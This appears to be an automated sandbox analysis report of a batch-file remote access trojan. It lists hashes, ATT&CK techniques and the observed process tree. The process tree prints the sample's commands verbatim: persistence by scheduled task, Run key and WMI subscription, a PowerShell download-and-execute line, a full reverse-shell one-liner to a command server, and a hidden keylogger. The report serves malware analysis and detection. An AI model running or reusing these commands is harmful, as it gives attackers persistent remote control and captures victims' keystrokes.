bb03c5064bb15d7cdc188688e0ca34b4e622e2ad78d18b82158f826298853c33

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 22:10

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General

Target
rat_build_70871_014238.bat
Size 4KB
Sample260529-13ch8aa12r
SHA256 bb03c5064bb15d7cdc188688e0ca34b4e622e2ad78d18b82158f826298853c33
MD5 62bd2d5e5f89f2fec71a1a5ac2445bd9
SHA1 497240c4ab1ecbb220ee8ad81955247eef3f38bd
SHA512 42262a8ae77ea1071fba4b179acd664a9eab6f15ea0197709890a4eb25754064092531e446aa8eabc18ae68bace59457f48d108db2a9cb10451a456f12e3b8e7
SSDEEP 96:+JIYEW/T9u/zt9gLmNgPUGgrAtbCiA7V9AVOWZfCQi/gFB6+iFgZk8mvlo1is:ET/T9u/zt9gLVgrAiT/DQi/h+iFgkHlE
TLSH
T1A5A10A171747716089B4165CCA3238481B2CD5F71354C78EFB888CCE9E8CF47A1682D7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_70871.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4556	powershell.exe
2324	powershell.exe
4880	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_70871 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_70871.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4064	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
752	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1056	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3496	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4556	powershell.exe
4556	powershell.exe
2324	powershell.exe
2324	powershell.exe
4880	powershell.exe
4880	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4772	WMIC.exe
Token: SeSecurityPrivilege	4772	WMIC.exe
Token: SeTakeOwnershipPrivilege	4772	WMIC.exe
Token: SeLoadDriverPrivilege	4772	WMIC.exe
Token: SeSystemProfilePrivilege	4772	WMIC.exe
Token: SeSystemtimePrivilege	4772	WMIC.exe
Token: SeProfSingleProcessPrivilege	4772	WMIC.exe
Token: SeIncBasePriorityPrivilege	4772	WMIC.exe
Token: SeCreatePagefilePrivilege	4772	WMIC.exe
Token: SeBackupPrivilege	4772	WMIC.exe
Token: SeRestorePrivilege	4772	WMIC.exe
Token: SeShutdownPrivilege	4772	WMIC.exe
Token: SeDebugPrivilege	4772	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4772	WMIC.exe
Token: SeRemoteShutdownPrivilege	4772	WMIC.exe
Token: SeUndockPrivilege	4772	WMIC.exe
Token: SeManageVolumePrivilege	4772	WMIC.exe
Token: 33	4772	WMIC.exe
Token: 34	4772	WMIC.exe
Token: 35	4772	WMIC.exe
Token: 36	4772	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4772	WMIC.exe
Token: SeSecurityPrivilege	4772	WMIC.exe
Token: SeTakeOwnershipPrivilege	4772	WMIC.exe
Token: SeLoadDriverPrivilege	4772	WMIC.exe
Token: SeSystemProfilePrivilege	4772	WMIC.exe
Token: SeSystemtimePrivilege	4772	WMIC.exe
Token: SeProfSingleProcessPrivilege	4772	WMIC.exe
Token: SeIncBasePriorityPrivilege	4772	WMIC.exe
Token: SeCreatePagefilePrivilege	4772	WMIC.exe
Token: SeBackupPrivilege	4772	WMIC.exe
Token: SeRestorePrivilege	4772	WMIC.exe
Token: SeShutdownPrivilege	4772	WMIC.exe
Token: SeDebugPrivilege	4772	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4772	WMIC.exe
Token: SeRemoteShutdownPrivilege	4772	WMIC.exe
Token: SeUndockPrivilege	4772	WMIC.exe
Token: SeManageVolumePrivilege	4772	WMIC.exe
Token: 33	4772	WMIC.exe
Token: 34	4772	WMIC.exe
Token: 35	4772	WMIC.exe
Token: 36	4772	WMIC.exe
Token: SeIncreaseQuotaPrivilege	844	WMIC.exe
Token: SeSecurityPrivilege	844	WMIC.exe
Token: SeTakeOwnershipPrivilege	844	WMIC.exe
Token: SeLoadDriverPrivilege	844	WMIC.exe
Token: SeSystemProfilePrivilege	844	WMIC.exe
Token: SeSystemtimePrivilege	844	WMIC.exe
Token: SeProfSingleProcessPrivilege	844	WMIC.exe
Token: SeIncBasePriorityPrivilege	844	WMIC.exe
Token: SeCreatePagefilePrivilege	844	WMIC.exe
Token: SeBackupPrivilege	844	WMIC.exe
Token: SeRestorePrivilege	844	WMIC.exe
Token: SeShutdownPrivilege	844	WMIC.exe
Token: SeDebugPrivilege	844	WMIC.exe
Token: SeSystemEnvironmentPrivilege	844	WMIC.exe
Token: SeRemoteShutdownPrivilege	844	WMIC.exe
Token: SeUndockPrivilege	844	WMIC.exe
Token: SeManageVolumePrivilege	844	WMIC.exe
Token: 33	844	WMIC.exe
Token: 34	844	WMIC.exe
Token: 35	844	WMIC.exe
Token: 36	844	WMIC.exe
Token: SeIncreaseQuotaPrivilege	844	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2996 wrote to memory of 3496	2996	cmd.exe	82
PID 2996 wrote to memory of 1056	2996	cmd.exe	83
PID 2996 wrote to memory of 4772	2996	cmd.exe	84
PID 2996 wrote to memory of 844	2996	cmd.exe	85
PID 2996 wrote to memory of 3396	2996	cmd.exe	86
PID 2996 wrote to memory of 752	2996	cmd.exe	88
PID 2996 wrote to memory of 4064	2996	cmd.exe	91
PID 2996 wrote to memory of 4556	2996	cmd.exe	92
PID 2996 wrote to memory of 2324	2996	cmd.exe	93
PID 2996 wrote to memory of 4880	2996	cmd.exe	94

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_70871_014238.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2996
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_70871" /tr "C:\Users\Admin\AppData\Local\Temp\_70871.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3496
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_70871" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_70871.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1056
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_70871", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4772
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_70871", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_70871.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:844
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_70871.txt
  2⤵
  PID:3396
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:752
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_70871.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4880

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 92d5a76ed593d1450f8f5309d806ef2ec37be8839f1e0e20763e75180345feac
MD5 a766b59cb8764029e0daa42ff2d21c3f
SHA1 9ca2e4735a93ab8ddf2d8e6928f1c570aa4ff80b
SHA512 e92fe19a450bc93cfcbaed70586d580470d239cd41997e0bdebdb45f1b6ba02604b4e839ab6ee40d5112ba683c647ecd10751183ab2f89226994e17680c52eae
TLSH
T1DA117A33B79CC135C8D9157A108DAD01B2B5C3CB049EDE8B7A84C509E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
MD5 8a9ce637f47cb4acdbef782b0c075292
SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
TLSH
T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_0wo2xblg.cdu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0wo2xblg.cdu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4556-3-0x000001A9D9D30000-0x000001A9D9D52000-memory.dmp

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